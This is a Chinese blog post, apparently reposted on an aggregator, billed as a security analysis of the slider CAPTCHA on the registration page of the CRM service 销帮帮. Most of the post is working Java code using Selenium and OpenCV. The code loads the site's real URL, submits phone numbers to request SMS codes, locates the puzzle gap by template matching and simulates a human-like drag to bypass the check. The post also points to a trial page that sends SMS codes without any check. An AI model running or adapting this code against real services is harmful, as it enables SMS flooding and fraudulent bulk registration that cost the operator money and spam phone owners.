【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告
前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 销帮帮PC 注册入口

简介：杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。
在这里插入图片描述

在这里插入图片描述

二、 安全性分析报告：

销帮帮自研的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上，该网站存在一个试用页面入口无任何防御的问题。
在这里插入图片描述

在这里插入图片描述

三、 测试方法：

前端界面分析，这是销帮帮自己研发的滑动验证码，网上没有现成的教学视频，但形式都差不多，难点:防模拟器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分，目前采用的是物理鼠标的方式。
这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分

1. 模拟器交互部分

	private OpenCv2 openCv2 = new OpenCv2(64, 128);private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();Thread.sleep(100);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);phoneElemet.sendKeys(phone);// 点击获取验证码WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));sendElement.click();Thread.sleep(1000);// pic 1 get bigWebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));String bigSrc = bigImgElement.getAttribute("src");byte[] bigBytes = GetImage.imgStrToByte(bigSrc);int bigLen = (bigBytes != null) ? bigBytes.length : 0;if (bigLen < 100) {System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);return null;}// pic 2 get smallWebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));String smallSrc = smallImgElement.getAttribute("src");byte[] smallBytes = GetImage.imgStrToByte(smallSrc);int smallLen = (smallBytes != null) ? smallBytes.length : 0;if (smallLen < 100) {System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);return null;}String ckSum = GenChecksumUtil.genChecksum(bigBytes);Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);if (openResult == null || openResult.size() < 2) {System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);return null;}Double r = 1.0;BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);int distance = disD.intValue();boolean isRobot = true;int beginX = 827;int beginY = 659;if (isRobot) {RobotMove.move(beginX, beginY, distance);} else {WebElement moveElement = driver.findElement(By.className("verify-left-bar"));ActionMove.move(driver, moveElement, distance);}System.out.println("distance=" + distance);Thread.sleep(1000);WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);String info = (infoElement != null) ? infoElement.getText() : null;retEntity.setMsg(info);if (info != null && info.contains("(")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;}}

2. 距离识别


/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xSystem.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}

3. 轨道生成及移动算法

/*** 双轴轨道生成算法，主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}

4. 图片比对结果测试样例：

在这里插入图片描述

四丶结语

杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了同行滑动验证码的经验后，自己研发了独特风格的那个验证码， 从逆向代码来看， 不仅借鉴了同行的技术原理，还在防抓取上下了功夫，防模拟器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分，目前采用的是物理鼠标的方式。
从这点看，的确让初级黑客止步，但本质上， 前端技术都是暴露在浏览器，不管是JS 注入还是后端代理模式，都会让这些小技巧无效。
另一方面，该网站试用页面入口短信验证无任何验证，存在被盗刷短信的隐患。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/10004.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

windows中docker安装redis和redisinsight记录

windows中docker安装redis和redisinsight记录

创建一个Redis运行容器&#xff0c;命令如下 docker run -it -d --name redis -p 6379:6379 redis --bind 0.0.0.0 --protected-mode no -d 代表Redis容器后台运行 --name redis 给创建好的容器起名叫redis -p 6379:6379 将容器的6379端口映射到宿主机的6379端口&#xff0c;注…
阅读更多...
问题排查：C++ exception with description “getrandom“ thrown in the test body

问题排查：C++ exception with description “getrandom“ thrown in the test body

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 MotivationProcess Motivation 最近在做一个复杂系统集成到 Bazel 的工作。 在编译…
阅读更多...
C++中类的默认成员函数

C++中类的默认成员函数

默认成员函数 1.构造函数2.析构函数3.拷贝构造函数4.赋值运算符重载4.1运算符重载4.2赋值运算符重载 #mermaid-svg-oipiwg9stvONvYK0 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-oipiwg9stvONvYK0 .error-icon{f…
阅读更多...
从0开始学习机器学习--Day20--优化算法的思路

从0开始学习机器学习--Day20--优化算法的思路

确定执行的优先级(Prioritizing what to work on : Spam classification example) 在建立学习系统前&#xff0c;我们不仅要梳理框架&#xff0c;更重要的是我们要弄清楚有哪些事情是要优先做的&#xff0c;这可以帮我们节约大量的时间。 以垃圾邮件为例&#xff0c;按照之前…
阅读更多...
利用JS实现图片轮播（示例）

利用JS实现图片轮播（示例）

我们平时在逛购物网站的时候会看到页面内的商品图片自动轮播&#xff0c;二要想实现着中效果应该如何做呢&#xff1f;下面详细讲解代码的运用&#xff0c;实现下面视频的效果。大家也可以自己试试看&#xff0c;或者复制最后的完整代码运行一下&#xff01; 图片自动轮播效果 …
阅读更多...
关于99．9% 达成读码率方案

关于99．9% 达成读码率方案

1.标签样式 2.尺寸大小 长30mm*宽30mm 至 长40mm*宽40mm ； 3.位置 标签位置在箱体中间，可以误差5mm； 4.质量要求 ①无遮挡，标签不允许任何介质在上面，尤其是塑料片 ②平整，必须和箱子壁贴平，不允许翻边，飘荡。 ③码不能有模糊，手机摄像头扫码可以…
阅读更多...
w~视觉~合集20~SAM

w~视觉~合集20~SAM

我自己的原文哦~ https://blog.51cto.com/whaosoft/12500982 #SAM 今天&#xff0c;Meta发布史上首个图像分割基础模型SAM&#xff0c;将NLP领域的prompt范式引进CV&#xff0c;让模型可以通过prompt一键抠图。网友直呼&#xff1a;CV不存在了! 就在刚刚&#xff0c;Meta AI…
阅读更多...
三、直流有刷电机H桥驱动原理

三、直流有刷电机H桥驱动原理

1、H桥简介 H桥驱动电路&#xff1a;是一种用于控制直流电机正反转及速度的电路&#xff0c;其名称来源于其电路结构类似于字母“H”。H桥驱动电路由四个开关元件&#xff08;如晶体管、MOSFET等&#xff09;组成&#xff0c;这些开关元件被配置成可以控制电机两端电流的方向&…
阅读更多...
Leetcode刷题

Leetcode刷题

题目如下&#xff1a; 这道题呢&#xff0c;这里我写出了两种解决办法&#xff0c;一种遍历链表来得出中间结点&#xff0c;一种通过快慢指针来得出中间结点 第一种&#xff1a; 遍历&#xff1a; 首先我们设置一个计数器count&#xff0c;来记录链表的长度&#xff0c;写一…
阅读更多...
游戏开发--C#面试题

游戏开发--C#面试题

游戏开发--C#面试题 C#1. 值类型和引用类型的区别2. 重载和重写的区别3. ArrayList和List的区别4. List底层是什么实现的&#xff1f;5. 抽象类和接口的区别6. 静态成员和⾮静态成员的区别7. 装箱和拆箱是指什么&#xff1f;8. 值和引用类型在变量赋值时的区别是什么&#xff1…
阅读更多...
# 设置ubuntu为中文后，如何保留用户家目录等文件夹名为英文

# 设置ubuntu为中文后，如何保留用户家目录等文件夹名为英文

设置ubuntu为中文后&#xff0c;如何保留用户家目录等文件夹名为英文 一、问题描述&#xff1a; 当我们安装完ubuntu系统后&#xff0c;通过【系统设置】&#xff0c;在【语言支持】里&#xff0c;设置为【汉语&#xff08;中国&#xff09;】&#xff0c;这时在终端中显示文…
阅读更多...
STM32—独立看门狗（IWDG）和窗口看门狗（WWDG）

STM32—独立看门狗（IWDG）和窗口看门狗（WWDG）

概述&#xff1a; WDG(Watchdog) 看门狗&#xff0c;看门狗可以监控程序的运行状态&#xff0c;当程序因为设计漏洞、硬件故障、电磁干扰等原因&#xff0c;出现卡死或跑飞现象时&#xff0c;看门狗能计时复位程序&#xff0c;避免程序陷入长时间的罢工状态&#xff0c;保证系…
阅读更多...
Chrome与火狐哪个浏览器的性能表现更好

Chrome与火狐哪个浏览器的性能表现更好

在数字时代&#xff0c;浏览器是我们日常生活中不可或缺的工具。无论是工作、学习还是娱乐&#xff0c;一个好的浏览器都能显著提高我们的效率和体验。市场上有许多优秀的浏览器&#xff0c;其中Google Chrome和Mozilla Firefox无疑是最受欢迎的两款。本文将比较这两款浏览器的…
阅读更多...
现在国内优秀的广告联盟有哪些？

现在国内优秀的广告联盟有哪些？

广告联盟是网络广告效果营销的主流方式之一&#xff0c;广告联盟的变现方式多种多样&#xff0c;主要有以下四种 CPA&#xff1a;按照下载或者注册进行付费&#xff08;软件平台或游戏试玩平台&#xff09;CPS&#xff1a;按照成交进行付费&#xff08;淘宝客&#xff09;CPM&…
阅读更多...
机器学习，生成式AI ,LLM大模型，人工智能，他们之间的关系是什么？有什么不同？

机器学习，生成式AI ,LLM大模型，人工智能，他们之间的关系是什么？有什么不同？

这些概念都是现代计算机科学和人工智能领域的重要组成部分&#xff0c;它们之间既有联系&#xff0c;也有区别。以下是它们的关系和不同之处&#xff1a; 人工智能 (AI) 两个回答 人工智能是一个广义的概念&#xff0c;指的是计算机系统能够执行通常需要人类智能才能完成的任务…
阅读更多...
[全网最细数据结构完整版]第七篇:3分钟带你吃透队列

[全网最细数据结构完整版]第七篇:3分钟带你吃透队列

目录 1->队列的概念及结构 2->队列的实现 2.1定义队列基本结构 struct QueueNode 和 struct Queue 2.2队列初始化函数 QueueInit 函数 2.3队列销毁函数 QueueDestroy 函数 2.4队列插入数据函数 QueuePush 函数 2.5判断队列是否为空,空返回true,非空返回false 2.6队列删…
阅读更多...
点阵数显驱动IC数显LED驱动芯片VK1651

点阵数显驱动IC数显LED驱动芯片VK1651

产品品牌&#xff1a;永嘉微电/VINKA 产品型号&#xff1a;VK1651 封装形式&#xff1a;SOP16 产品年份&#xff1a;新年份 产品简介&#xff1a;VK1651是一种带键盘扫描电路接口的 LED 驱动控制专用芯片&#xff0c;内部集成有数据锁存器、LED 驱动、键盘扫描等电路。SEG脚…
阅读更多...
【进阶】java基础之集合(2)数据结构＜树＞

【进阶】java基础之集合(2)数据结构＜树＞

文章目录 二叉树的内部结构二叉查找树平衡二叉树平衡二叉树的旋转机制 二叉树的内部结构 二叉查找树 二叉查找树&#xff0c;又称二叉排序树或者二叉搜索树 特点: 每一个节点上最多有两个子节点任意节点左子树上的值都小于当前节点任意节点右子树上的值都大于当前节点 二叉…
阅读更多...
积分接口被刷爆，全体一个月降薪20%，这个项目我们遗漏了什么？

积分接口被刷爆，全体一个月降薪20%，这个项目我们遗漏了什么？

有一些往事总是会在酒后提起 我问朋友&#xff0c;在工作上有什么事情是到现在还记忆尤新的&#xff1f; 我朋友一个激灵坐起来&#xff0c;点上一支烟&#xff0c;只见烟头亮了4、5下&#xff0c;才见他吐出一口烟来&#xff0c;说道&#xff1a;“那还真有” 起因 刚参加…
阅读更多...
AWTK-LINUX-FB实现多点触摸

AWTK-LINUX-FB实现多点触摸

两周前的一个地图&#xff0c;需要做手势缩放的功能&#xff0c;比较忙就没有发出来&#xff0c;这次抽时间记录一下实现的过程。 AWTK官方有对实现多点触摸做过描述&#xff0c;可惜只有STM32的实现例子&#xff0c;跟Linux的差别还是比较大的&#xff0c;好在tslib有多点触摸…
阅读更多...
最新文章

Copyright @ 2022~2023